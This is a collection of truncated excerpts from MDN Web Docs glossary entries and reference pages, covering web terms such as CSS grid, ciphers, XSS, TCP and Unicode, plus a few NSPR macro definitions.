n-content, the writing mode of the box is also used. the definition of the alignment subject depends on the layout mode being used. block containers (including table cells) the entire content of the block as a single unit. multicol containers the column boxes, with any spacing inserted between column boxes added to the relevant column gaps. flex containers for justify-content, the flex items in each flex line. for align-content, the flex lines. note, this only has an effect on multi-line flex containers. grid containers the grid tracks in the appropriate axis, with any spacing inserted between tracks added to the relevant gutters. collapsed gutters are treated as a single opportunity for space insertion. learn more css box alignment ...
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: bigint the javascript global object bigint ...
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. block ciphers are always used with a mode, which specifies how to securely encrypt messages that are longer than the block size. ...
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
x—is a unit of length which roughly corresponds to the width or height of a single dot that can be comfortably seen by the human eye without strain, but is otherwise as small as possible. by definition, this is the physical size of a single pixel at a pixel density of 96 dpi, located an arm's length away from the viewer's eyes. that definition, of course, leaves a lot of wiggle room, as the terms "be comfortably seen" and "an arm's length away" are imprecise, varying from person to person. when a user is sitting at a desk in front of a desktop, the display is generally substantially farther away from their eyes than when they're on a cell phone, for instance. as such, it generally suffices to say that when the unit px is used, the goal is to try to have the distance 96px equal about 1 in...
Card sorting - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge card sorting on wikipedia ...
Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
in a browser, the chrome is any visible aspect of a browser aside from the webpages themselves (e.g., toolbars, menu bar, tabs). this is not to be confused with the google chrome browser. learn more browser and gui chrome ...
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
analyst. there is no guarantee that all attack methods have been discovered, but each algorithm is judged against known classes of attacks. ciphers operate two ways, either as block ciphers on successive blocks, or buffers, of data, or as stream ciphers on a continuous data flow (often of sound or video). they also are classified according to how their keys are handled: symmetric key algorithms use the same key to encode and decode a message. the key also must be sent securely if the message is to stay confidential. asymmetric key algorithms use a different key for encryption and decryption. ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
compiling is the process of transforming a computer program written in a given language into an equivalent program of another language. a compiler is a software to execute this task. sometimes, this task is also referred to as "assembling" or "build", which typically indiciates more than just compilation is done, e.g. packaging it in a binary format. usually, a compiler transforms a higher-level language such as c or java, which humans understand, into a machine language, such as assembly, that the cpu can understand. some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescript to javascript. those are considered productivity tools. most compilers work either ahead-of-time (aot) or just-in-time (ji...
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. ...
Cryptanalysis - MDN Web Docs Glossary: Definitions of Web-related terms
cryptanalysis creates techniques to break ciphers, in particular by methods more efficient than a brute-force search. ...
Cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
cryptography, or cryptology, is the science that studies how to encode and transmit messages securely. cryptography designs and studies algorithms used to encode and decode messages in an insecure environment, and their applications. more than just data confidentiality, cryptography also tackles identification, authentication, non-repudiation, and data integrity. therefore it also studies usage of cryptographic methods in context, cryptosystems. ...
Decryption - MDN Web Docs Glossary: Definitions of Web-related terms
like encryption, decryption in modern ciphers is performed using a specific algorithm and a secret, called the key. since the algorithm is often public, the key must stay secret if the encryption stays secure. decryption is the reverse of encryption and if the key stays secret, decryption without knowing the specific secret, decryption is mathematically hard to perform. ...
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
current browsers provide integrated developer tools, which allow to inspect a website. they let users inspect and debug the page's html, css, and javascript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more. ...
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
t the number of active connections for each domain. to enable concurrent downloads of assets exceeding that limit, domain sharding splits content across multiple subdomains. when multiple domains are used to serve multiple assets, browsers are able to download more resources simultaneously, resulting in a faster page load time and improved user experience. the problem with domain sharding, in terms of performance, is the cost of extra dns lookups for each domain and the overhead of establishing each tcp connection. the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded. as browsers limit the number of active connections per domain, serving all the required resources from a ...
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
encryption in modern ciphers is performed using a specific algorithm and a secret, called the key. since the algorithm is often public, the key must stay secret if the encryption stays secure. ...
Entity header - MDN Web Docs Glossary: Definitions of Web-related terms
an entity header is an http header that can be used in an http request or response, and describes the content of the body of themessage. headers like content-length, content-language, content-encoding are entities headers. even if they are neither request, nor response headers, entity headers are often included in such terms. a few request headers after a get request: in the following example, content-length is an entity header, while host and user-agent are requests headers: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
FTP - MDN Web Docs Glossary: Definitions of Web-related terms
ftp (file transfer protocol) was the standard protocol for many years for transferring files from one host to another over the internet. increasingly, though, teams and hosting accounts don't allow ftp and instead rely on a version control system like git. you will still find it used on older hosting accounts, but it is safe to say that ftp is no longer considered best practice. learn more general knowledge beginner's guide to uploading files via ftp ftp on wikipedia ...
First CPU idle - MDN Web Docs Glossary: Definitions of Web-related terms
it is also known as first interactive. ...
Function - MDN Web Docs Glossary: Definitions of Web-related terms
function name's scope depends on whether the function name is a declaration or expression. different types of functions an anonymous function is a function without a function name. only function expressions can be anonymous, function declarations must have a name: // when used as a function expression (function () {}); // or using the ecmascript 2015 arrow notation () => {}; the following terms are not used in the ecmascript language specification, they're jargon used to refer to different types of functions. a named function is a function with a function name: // function declaration function foo() {}; // named function expression (function bar() {}); // or using the ecmascript 2015 arrow notation const foo = () => {}; an inner function is a function inside another function (square...
Git - MDN Web Docs Glossary: Definitions of Web-related terms
git is a free, open-source, distributed source code management (scm) system. it facilitates handling code bases with distributed development teams. what sets it apart from previous scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it. learn more general knowledge official website with documentation github, a git-based graphical project host ...
Gonk - MDN Web Docs Glossary: Definitions of Web-related terms
projects: linux, libusb, bluez, and so forth. some other parts of the hal are shared with aosp: gps, camera, and others. you could call gonk a very simple linux distribution. gonk is a porting target of gecko (just as gecko has been ported to os x, windows, and android). since firefox os has full control over gonk, we can expose interfaces to gecko that aren't accessible on other operating systems, for example the full telephony stack and display frame buffer. learn more gonk page on the firefox os zone ...
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
ce that while not as good still delivers essential content and functionality in older browsers. polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour. some good examples can be found in handling common html and css problems. it is a useful technique that allows web developers to focus on developing the best possible websites, given that those websites are accessed by multiple unknown user-agents. progressive enhancement is related but different — often seen as going in the opposite direction to graceful degredation. in reality both approaches are valid and can often complement one another. ...
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
of the display property; you can define columns and rows on your grid using the grid-template-rows and grid-template-columns properties. the grid that you define using these properties is described as an explicit grid. if you place content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column tracks to hold grid items, then extra tracks will be created in the implicit grid. the implicit grid is the grid created automatically due to content being added outside of the tracks defined. in the example below i have created an explicit grid of three columns and two rows. the third row on the grid is an implicit grid row track, formed due to their being more than the six items which fill the explicit tracks. * {bo...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
a grid area is one or more grid cells that make up a rectangular area on the grid. grid areas are created when you place an item using line-based placement or when defining areas using named grid areas. grid areas must be rectangular in nature; it is not possible to create, for example, a t- or l-shaped grid area. in the example below i have a grid container with two grid items. i have named these with the grid-area property and then laid them out on the grid using grid-template-areas. this creates two grid areas, one covering four grid cells, the other two. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color:...
Grid Axis - MDN Web Docs Glossary: Definitions of Web-related terms
in css the block or column axis is the axis used when laying out blocks of text. if you have two paragraphs and are working in a right to left, top to bottom language they lay out one below the other, on the block axis. ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
in a css grid layout, a grid cell is the smallest unit you can have on your css grid. it is the space between four intersecting grid lines and conceptually much like a table cell. if you do not place items using one of the grid placement methods, direct children of the grid container will be placed one into each individual grid cell by the auto-placement algorithm. additional row or column tracks will be created to create enough cells to hold all items. in the example we have created a three column track grid. the five items are placed into grid cells working along an initial row of three grid cells, then creating a new row for the remaining two. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wr...
Grid Column - MDN Web Docs Glossary: Definitions of Web-related terms
these columns will be auto-sized by default, or can have a size specified with the grid-auto-columns property. ...
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
using the value grid or inline-grid on an element turns it into a grid container using css grid layout, and any direct children of this element become grid items. when an element becomes a grid container it establishes a grid formatting context. the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid. learn more property reference grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows grid grid-template further reading css grid layout guide: basic concepts of grid layout ...
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
document and so in a right-to-left language for example, column line 1 will be on the right of the grid. the image below shows the line numbers of the grid, assuming the language is left-to-right. lines are also created in the implicit grid when implicit tracks are created to hold content positioned outside of the explicit grid, however these lines cannot be addressed by a number. placing items onto the grid by line number having created a grid, you can place items onto the grid by line number. in the following example the item is positioned from column line 1 to column line 3, and from row line 1 to row line 3. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns:...
Grid Row - MDN Web Docs Glossary: Definitions of Web-related terms
these rows will be auto sized by default, or can have a size specified with the grid-auto-rows property. ...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
the gap acts as if the grid line at that location has gained extra size, so any grid item placed after that line begins at the end of the gap. the grid-gap properties are not the only thing that can cause tracks to space out. margins, padding or the use of the space distribution properties i...
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a high-level programming language has a significant abstraction from the details of computer operation. it is designed to be easily understood by humans and for this reason they must be translated by another software. unlike low-level programming languages, it may use natural language elements, or may automate (or even entirely hide) significant areas of computing systems, making the process of developing simpler and more understandable relative to a lower-level language. the amount of abstraction provided defines how "high-level" a programming language is. the idea of a language automatically translatable into machine code, but nearer to human logic, was introduced in computer science in the 1950s, especially thanks to the work of john backus (ibm), to whom it owes the first high-l...
Hyperlink - MDN Web Docs Glossary: Definitions of Web-related terms
in html, <a> elements define hyperlinks from a spot on a webpage (like a text string or image) to another spot on some other webpage (or even on the same page). ...
IETF - MDN Web Docs Glossary: Definitions of Web-related terms
the internet engineering task force (ietf) is a worldwide organization that drafts specifications governing the mechanisms behind the internet, especially the tcp/ip or internet protocol suite. the ietf is open, run by volunteers, and sponsored by the internet society. learn more general knowledge official website ...
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv4 is the fourth version of the communication protocol underlying the internet and the first version to be widely deployed. first formalized in 1981, ipv4 traces its roots to the initial development work for arpanet. ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet). ipv6 is gradually replacing ipv4 owing to ipv4's security problems and the limitations of its address field. (version number 5 was assigned in 1979 to the experimental internet stream protocol, which however has never been called ipv5.) learn more general knowledge ipv4 on wikipedia ...
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
indexeddb is a web api for storing large data structures within browsers and indexing them for high-performance searching. like an sql-based rdbms, indexeddb is a transactional database system. however, it uses javascript objects rather than fixed columns tables to store data. learn more the indexeddb api on mdn the w3c specification for indexeddb ...
Java - MDN Web Docs Glossary: Definitions of Web-related terms
java is a compiled, object-oriented, highly portable programming language. java is statically typed and features a similar syntax to c. it comes with a large library of readily usable functions, the java software development kit (sdk). programs are compiled only once ahead of time into a proprietary byte code and package format that runs inside the java virtual machine (jvm). the jvm is available across many platforms, which allows java programs to run almost everywhere without the need to be compiled or packaged again. this makes it a preferred language in many large enterprises with heterogenous landscapes, but may be perceived "heavy". learn more general knowledge java on wikipedia ...
LGPL - MDN Web Docs Glossary: Definitions of Web-related terms
lgpl (gnu lesser general public license) is a free software license published by the free software foundation. the lgpl provides a more permissive alternative for the strictly copyleft gpl. while any derivative work using a gpl-licensed program must be released under the same terms (free to use, share, study, and modify), the lgpl only requires the lgpl-licensed component of the derivative program to continue using the lgpl, not the whole program. lgpl is usually used to license shared components such as libraries (.dll, .so, .jar, etc.). learn more general knowledge gnu lgpl on wikipedia lgpl license text on gnu.org ...
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency is the network time it takes for a requested resource to reach its destination. low latency is good, meaning there is little or no delay. high latency is bad, meaning it takes a long time for the requested resource to reach its destination. latency can be a factor in any kind of data flow, but is most commonly discussed in terms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data). learn more understanding latency ...
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
n) is the process of adapting a software user interface to a specific culture. the following are common factors to consider: language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs. 10,000.00 in the u.s.) date format currency cultural references paper size color psychology compliance with local laws local holidays personal names learn more general know...
Long task - MDN Web Docs Glossary: Definitions of Web-related terms
a long task is a task that takes more than 50ms to complete. it is an uninterrupted period where the main ui thread is busy for 50 ms or longer. common examples include long running event handlers, expensive reflows and other re-renders, and work the browser does between different turns of the event loop that exceeds 50 ms. see also long task api ...
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossless compression methods are reversible. ...
mime - MDN Web Docs Glossary: Definitions of Web-related terms
audio, video and images. initially used for e-mail attachments, it has become the de facto standard to define types of documents anywhere. ...
Method - MDN Web Docs Glossary: Definitions of Web-related terms
a method is a function which is a property of an object. there are two kind of methods: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor. note: in javascript functions themselves are objects, so, in that context, a method is actually an object reference to a function. learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a wi-fi router can be compromised. comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail. they open it, read it, eventually modify it, and then repackage the letter and only then send it to whom you intended to sent the letter for. the original recipient would then mail you a letter back, and the mailman would again open the letter, read it, eventually modify it, repackage it, and give it to you. you wouldn't know there's a man in the middle in your communication channel – the mailman is invisible to you and to your recipient. ...
Modem - MDN Web Docs Glossary: Definitions of Web-related terms
a modem ("modulator-demodulator") is a device that converts digital information to analog signals and vice-versa, for sending data through networks. different kinds are used for different networks: dsl modems for telephone wires, wifi modems for short-range wireless radio signals, 3g modems for cellular data towers, and so on. modems are different from routers, but many companies sell modems combined with routers. learn more general knowledge modem on wikipedia ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
vigator or netscape was a leading browser in the 1990s. netscape was based on mosaic and the netscape team was led by marc andreessen, a programmer who also wrote code for mosaic. netscape helped make the web graphical rather than a text-only experience. many browsing features became standard after netscape introduced them. netscape could display a webpage while loading, used javascript for forms and interactive content, and stored session information in cookies. despite netscape's technical advantages and initial dominance, by the late 1990s internet explorer swiftly overtook netscape in market share. learn more general knowledge netscape navigator on wikipedia ...
Null - MDN Web Docs Glossary: Definitions of Web-related terms
in computer science, a null value represents a reference that points, generally intentionally, to a nonexistent or invalid object or address. ...
Number - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754). in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums. learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: number the javascript global object number ...
Parser - MDN Web Docs Glossary: Definitions of Web-related terms
a parser is the module of a compiler or interpreter that parses a source code file. more generally, it's a piece of software that parses text and transforms its content to another representation. learn more general knowledge parser on wikipedia ...
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
perceived performance is a subjective measure of how fast a website seems to a user based on load time and site responsiveness. this measure relies on human perception, not an objective metric like time to interactive. in terms of web performance, perceived performance is how fast a user interaction feels rather than how fast an interaction actually is, be that a button press or a page load. perceived performance is not how fast your site is; it's how fast your users think it is. perceived performance is not measured by when your site is done loading but when it has loaded enough for users to believe it has loaded and is interactive. in terms of conversion rates, perceived performance is more important than the actual load and response times. speed index is a common metric for meas...
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
est that checks to see if the cors protocol is understood and a server is aware using specific methods and headers. it is an options request, using three http request headers: access-control-request-method, access-control-request-headers, and the origin header. a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. for example, a client might be asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
the creation of quic allows developers to conduct experiments and try new things faster. ...
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
ormance within the browser. the performance mantra of rail is "focus on the user; the end goal isn't to make your site perform fast on any specific device, it's to make users happy." there are 4 stages of interaction: page load, idle, response to input, and scrolling and animation. in acronym order, the main tenets are: response respond to users immediately, acknowledging any user input in 100ms or less. animation when animating, render each frame in under 16ms, aiming for consistency and avoiding jank. idle when using the main javascript thread, work in chunks for less than 50ms to free up the thread for user interactions. load deliver interactive content in less than 1 second. ...
REST - MDN Web Docs Glossary: Definitions of Web-related terms
rest(representational state transfer) refers to a group of software architecture design constraints that bring about efficient, reliable and scalable distributed systems. a system is called restful when it adhere to those constraints. the basic idea of rest is that a resource, e.g. a document, is transferred with its state and relationships via well-defined, standarized operations and formats or services call themselves restful when they directly modify type of document as opposed to triggering actions somewhere. because http, the standard protocol hehind the "world wide web", "web" also transfers documents and hypertext links, simple http apis are sometimes colloguially referred to as restful apis, restful services, or simply rest services, although they don't necessarily adhere t...
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
prngs can be used for a variety of applications, such as games. a cryptographically secure prng is a prng with certain extra properties making it suitable for use in cryptography. ...
RTF - MDN Web Docs Glossary: Definitions of Web-related terms
rtf (rich text format) is a plain-text-based file format with support for formatting instructions (like bold or italic). three programmers in the microsoft word team created rtf in the 1980s, and microsoft continued to develop the format until 2008. however, many word-processing programs can still read and write rtf. learn more general knowledge rich text format on wikipedia technical reference final specification from microsoft ...
Recursion - MDN Web Docs Glossary: Definitions of Web-related terms
a recursive function can receive two inputs: a base case (ends recursion) or a recursive case (resumes recursion). examples recursive function calls itself until condition met the following python code defines a function that takes a number, prints it, and then calls itself again with the number's value -1. it keeps going until the number is equal to 0, in which case it stops. ...
SCM - MDN Web Docs Glossary: Definitions of Web-related terms
scm (source control management) is a system for managing source code. usually it refers to the use of software to handle versioning of source files. a programmer can modify source code files without being afraid of editing out useful stuff, because a scm keeps track of how the source code has changed and who made the changes. some scm systems include cvs, svn, git. learn more general knowledge revision control on wikipedia ...
SMTP - MDN Web Docs Glossary: Definitions of Web-related terms
smtp (simple mail transfer protocol) is a protocol used to send a new email. like pop3 and nntp, it is a state machine-driven protocol. the protocol is relatively straightforward. primary complications include supporting various authentication mechanisms (gssapi, cram-md5, ntlm, msn, auth login, auth plain, etc.), handling error responses, and falling back when authentication mechanisms fail (e.g., the server claims to support a mechanism, but doesn't). ...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
en display in a non-visual way, usually as text to speech, but also into braille or sound icons. screen readers are essential to people who are blind, as well as useful to people who are visually impaired, illiterate, or have a learning disability. there are some browser extension screen readers, but most screen readers operate system-wide for all user applications, not just the browser. in terms of web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques. voiceover macos comes with voiceover, a built-in screen reader. to access voiceover, go to system preferences > accessibility > voiceover. you can also toggle voiceover on and off wi...
Server - MDN Web Docs Glossary: Definitions of Web-related terms
services are provided generally over local area networks or wide area networks such as the internet. ...
Shadow tree - MDN Web Docs Glossary: Definitions of Web-related terms
serves as a host. the hidden nodes are not directly visible using regular dom functionality, but require the use of a special shadow dom api to access. nodes within the shadow tree are not affected by anything applied outside the shadow tree, and vice versa. this provides a way to encapsulate implementation details, which is especially useful for custom elements and other advanced design paradigms. learn more general knowledge using shadow dom technical information element.shadowroot and element.attachshadow() shadowroot <slot> ...
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
the normal, non-strict mode of javascript is sometimes referred to as sloppy mode. ...
Speed index - MDN Web Docs Glossary: Definitions of Web-related terms
speed index (si) is a page load performance metric that shows you how quickly the contents of a page are visibly populated. it is the average time at which visible parts of the page are displayed. expressed in milliseconds, and dependent on the size of the viewport, the lower the score, the better. the calculation calculates what percent of the page is visually complete at every 100ms interval until the page is visually complete. the overall score, the above the fold metric, is a sum of the individual 10 times per second intervals of the percent of the screen that is not-visually complete. ...
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
a state machine reads a set of inputs and changes to a different state based on those inputs. a state is a description of the status of a system waiting to execute a transition. a transition is a set of actions to execute when a condition is fulfilled or an event received. in a state diagram, circles represent each possible state and arrows represent transitions between states. looking at the final state, you can discern something about the series of inputs leading to that state. there are two types of basic state machines: deterministic finite state machine this kind allows only one possible transition for any allowed input. ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
symmetric-key cryptography is a term used for cryptographic algorithms that use the same key for encryption and for decryption. the key is usually called a "symmetric key" or a "secret key". this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be reversed using the other key. symmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance. most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time. the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. block ciphers...
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax specifies the required combination and sequence of characters making up correctly structured code. syntax generally includes grammar and the rules that apply to writing it, such as indentation requirements in python. syntax varies from language to language (e.g., syntax is different in html and javascript). although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in javascript and python. this does not mean the two langauges share similarities with syntax. syntax applies both to programming languages (commands to the computer) and markup languages (document structure information) alike. syntax only governs ordering and structure; the instructions must also be meaningful, which is the province of semantics. code mu...
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
tcp guarantees the delivery of data and packets in the same order as they were sent. vint cerf and bob kahn, who were darpa scientists at the time, designed tcp in the 1970s. tcp role is to ensure the packets are reliably delivered, error free. ...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
ent, or ack. when that ack is received, the congestion window is incremented until the cwnd is less than ssthresh. slow start also terminates when congestion is experienced. congestion control congestion itself is a state that happens within a network layer when the message traffic is too busy it slows the network response time. the server sends data in tcp packets, the user's client then confirms delivery by returning acknoledgements, or acks. the connection has a limited capacity depending on hardware and network conditions. if the server sends too many packets too quickly, they will be dropped. meaning, there will be no acknowledgement. the server registers this as missing acks. congestion control algorithms use this flow of sent packets and acks to determine a send rate. see also p...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
each unit capable of executing code is called a thread. the main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical web page or app. because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang. this results in a frustrating, sluggish (or worse) user experience. ...
Trident - MDN Web Docs Glossary: Definitions of Web-related terms
a trident fork called edgehtml replaced trident in internet explorer's successor, edge. ...
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp (user datagram protocol) is a long standing protocol used together with ip for sending data when transmission speed and efficiency matter more than security and reliability. udp uses a simple connectionless communication model with a minimum of protocol mechanism. udp provides checksums for data integrity, and port numbers for addressing different functions at the source and destination of the datagram. it has no handshaking dialogues, and thus exposes the user's program to any unreliability of the underlying network; there is no guarantee of delivery, ordering, or duplicate protection. if error-correction facilities are needed at the network interface level, an application may use the transmission control protocol (tcp) or stream control transmission protocol (sctp) which are d...
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
unicode is a standard character set that numbers and defines characters from the world's different languages, writing systems, and symbols. by assigning each character a number, programmers can create character encodings, to let computers store, process, and transmit any combination of languages in the same file or program. before unicode, it was difficult and error-prone to mix languages in the same data. for example, one character set would store japanese characters, and another would store the arabic alphabet. if it was not clearly marked which parts of the data were in which character set, other programs and computers would display the text incorrectly, or damage it during processing. if you've ever seen text where characters like curly quotes (“”) were replaced with gibberi...
Usenet - MDN Web Docs Glossary: Definitions of Web-related terms
usenet is an internet discussion system where each post is duplicated on many servers. the equivalent of internet forums in its day, usenet functioned like a bulletin board system. learn more general knowledge usenet on wikipedia ...
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
everything transferrred through voip is digital. it is also known as ip telephony, or broadband telephony. the main reason for using voip technology is because of cost. voip allows you to make a call directly from a computer, a special voip phone, or a traditional phone connected to a special adapter. a high speed internet connection is required for voip. ...
W3C - MDN Web Docs Glossary: Definitions of Web-related terms
the w3c coordinates companies in the industry to make sure they implement the same w3c standards. ...
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
chrominance subsampling, discrete cosine transformation and quantization, and run-length delta & huffman encoding. chroma subsampling involves implementing less resolution for chroma information than for luma information, taking advantage of the human visual system's lower acuity for color differences than for luminance. a discrete cosine transform expresses a finite sequence of data points in terms of a sum of cosine functions oscillating at different frequencies. learn more general knowledge jpeg on wikipedia ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
the process of such compression is irreversible; once lossy compression of the content has been performed, the content cannot be restored to its original state. therefore, content that has undergone lossy compression should generally not be further edited. lossy compression is widely used in image formats. ...
markup - MDN Web Docs Glossary: Definitions of Web-related terms
such as an html file, elements are marked up using tags which explain the purpose of that part of the content. types of markup language presentational markup: used by traditional word processing sytem with wysiwyg (what you see it is what you get); this is hidden from human authors, users and editors. procedural markup: combined with text to provide instructions on text processing to programs. this text is visibly manipulated by the author. descriptive markup: labels sections of documents as to how the program should handle them. for example, the html <td> defines a cell in a html table. ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
scraping webpages, a download manager, or another app accessing the web. along with each request they make to the server, browsers include a self-identifying user-agent http header called a user agent (ua) string. this string often identifies the browser, its version number, and its host operating system. spam bots, download managers, and some browsers often send a fake ua string to announce themselves as a different client. this is known as user agent spoofing. the user agent string can be accessed with javascript on the client side using the navigator.useragent property. a typical user agent string looks like this: "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:35.0) gecko/20100101 firefox/35.0". learn more general knowledge user agent on wikipedia technical reference navigator...
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
content outside the viewport is not visible onscreen until scrolled into view. the portion of the viewport that is currently visible is called the visual viewport. this can be smaller than the layout viewport, such as when the user has pinched-zoomed. the layout viewport remains the same, but the visual viewport became smaller. ...
Use CSS to solve common problems - Learn web development
Learn › CSS › Howto
the following links provide solutions to common problems you may face when working with css. common use cases basics how to apply css to the dom how to use whitespace in css how to write comments in css how to select elements via element name, class or id how to select elements via attribute name and content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and...
Debugging update problems
e the url of the update request. that url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this url manually to see what's inside. useful preferences enabling the following preferences in about:config can help troubleshoot problems with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates. related resources extension versioning, update and compatibility. ...
MathML Demo: <msqrt>, <mroot> - radicals
...
Emscripten techniques
this page contains specific emscripten-related techniques. debugging out-of-memory problems a common bug to diagnose with emscripten is where a big game fails due to an out of memory error (oom) somewhere during load time. by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose. this article explains how to debug such problems. ...
Programs Using NSPR
most of these are derived from netscape servers. netscape alumni took nspr with them to their new companies: good technology, kontiki, tellme networks. ...
PR_ImportFileMapFromString
creates a prfilemap from an identifying string. syntax #include <prshma.h> nspr_api( prfilemap * ) pr_importfilemapfromstring( const char *fmstring ); parameter the function has the following parameter: fmstring a pointer to string created by pr_exportfilemapasstring. returns prfilemap pointer or null on error. description pr_importfilemapfromstring creates a prfilemap object from a string previously created by pr_exportfilemapasstring. ...
PR_MSEC_PER_SEC
a convenience macro to improve code readability as well as to avoid mistakes in counting the number of zeros; represents the number of milliseconds in a second. syntax #include <prtime.h> #define pr_msec_per_sec 1000ul ...
PR_NSEC_PER_MSEC
a convenience macro to improve code readability as well as to avoid mistakes in counting the number of zeros; represents the number of nanoseconds in a millisecond. syntax #include <prtime.h> #define pr_nsec_per_msec 1000000ul ...
